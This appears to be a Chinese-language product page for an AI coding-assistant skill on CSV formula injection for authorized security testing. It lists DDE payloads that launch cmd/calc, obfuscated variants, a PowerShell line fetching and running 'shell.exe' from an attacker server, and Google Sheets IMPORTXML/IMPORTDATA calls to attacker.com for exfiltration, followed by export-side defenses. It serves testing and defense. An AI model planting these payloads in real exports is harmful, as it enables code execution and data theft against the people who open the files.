关于 csv-formula-injection
面向经授权安全测试的 CSV 公式注入技能,涵盖表格公式与 DDE 风险、测试流程及导出防护方法。
主要功能
- 01公式前缀与 DDE 测试
- 02混淆模式检查
- 03Google Sheets 导入风险
- 04导出链路测试方法
- 05CSV 注入防护建议
适用场景
- 01检查 CSV 导出中的用户输入
- 02在实验环境验证表格公式执行
- 03评估 Google Sheets 外部请求风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill csv-formula-injection安装后在 Claude Code 中输入/csv-formula-injection确认已加载。
详细介绍
技能:CSV 公式注入
AI 加载说明:本技能涵盖 CSV 和电子表格场景中的公式/DDE 风格注入、混淆、云端表格原语以及安全测试方法。仅在明确获得授权的情况下使用;会调用本地命令或进行远程获取的载荷会造成实际影响——优先选择实验室目标,并记录同意情况。除非项目规则允许进行客户端执行测试,否则不要以最终用户为目标。
0. 快速入门
在 Excel、LibreOffice Calc 或类似软件中打开单元格时,可能触发公式计算的字符(通常只有在单元格被解释为公式时才会触发):
=
+
-
@
测试单元格可能如下所示:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
测试方向提示:测试 CSV 导出、后台报表或在电子表格中打开的用户数据时,优先关注这些前缀字符。
1. DDE 注入(EXCEL / LIBREOFFICE)
动态数据交换(DDE)和外部调用模式过去曾在电子表格中遭到滥用。以下示例用于在受控实验室中复现:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell 风格的链式调用(仅限实验室;将主机和载荷替换为无害的等效内容):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. 混淆
防御性解析器可能会移除明显的模式;测试人员可以尝试加入干扰字符和空格(仍仅限获准的场景):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
= 后的额外空白:
= cmd|'/c calc.exe'!A
分散字符 / 不寻常的空格(概念性模式——根据解析器进行调整):
= C m D |'/c calc.exe'!A
rundll32 风格:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
如果导出的数据随后会在 Google Sheets 中打开,或表格会从不可信的 CSV 拉取数据,这些函数可能导致对外请求或跨文档数据拉取:
数据外泄 / 探测(将 URL 替换为你获准使用的回调地址):
=IMPORTXML("http://attacker.com/", "//a/@href")
其他高风险导入方式:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
记录执行了哪个函数,以及产生了哪些网络副作用。
4. 测试方法
- 梳理输出点 — 任何可输出 CSV、XLSX 或制表符分隔内容的功能:管理员导出、审计日志、用户名单、账单报表、搜索结果。
- 追踪用户可控字段 — 个人资料字段、工单标题、交易备注、标签、ZIP 导出文件中的文件名——任何会回显已存储输入的列。
- 注入公式前缀 — 先使用无害的算术表达式(
=1+1、+1+1)检测是否会执行;仅根据规则升级测试。 - 在目标软件中打开 — 模拟受害者的工作流:Excel 桌面版、LibreOffice、导入到 Google Sheets、特定区域设置的小数分隔符。
- 取证 — 截图/记录单元格是否显示计算结果、安全警告或 DDE 提示;注明产品版本。
注意:重点关注 user input -> export -> opened in spreadsheet software 这一链路。
5. 防御
应用和导出层的缓解措施:
- 添加单引号前缀 — 在许多电子表格应用中,开头的
'会强制按文本解释:'=cmd|...会按原样显示。 - 添加制表符前缀 — 某些处理流程在正确读取时,会将制表符前缀字段视为非公式文本。
- 移除或中和前导触发字符 — 在导出时移除或转义前导的
=、+、-、@(以及外形相似的 Unicode 字符)。 - CSV 编码 — 使用一致的引号规则;校验列类型;未经清理,不要将原始公式字符串传入财务/报表模板。
- 用户教育 — 未经政策许可,不要启用外部数据 / DDE。
安全导出转换示例(概念性):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
注意:关联业务导出、报表和 API 导出参数时,应结合注入、业务逻辑和 API 安全技能。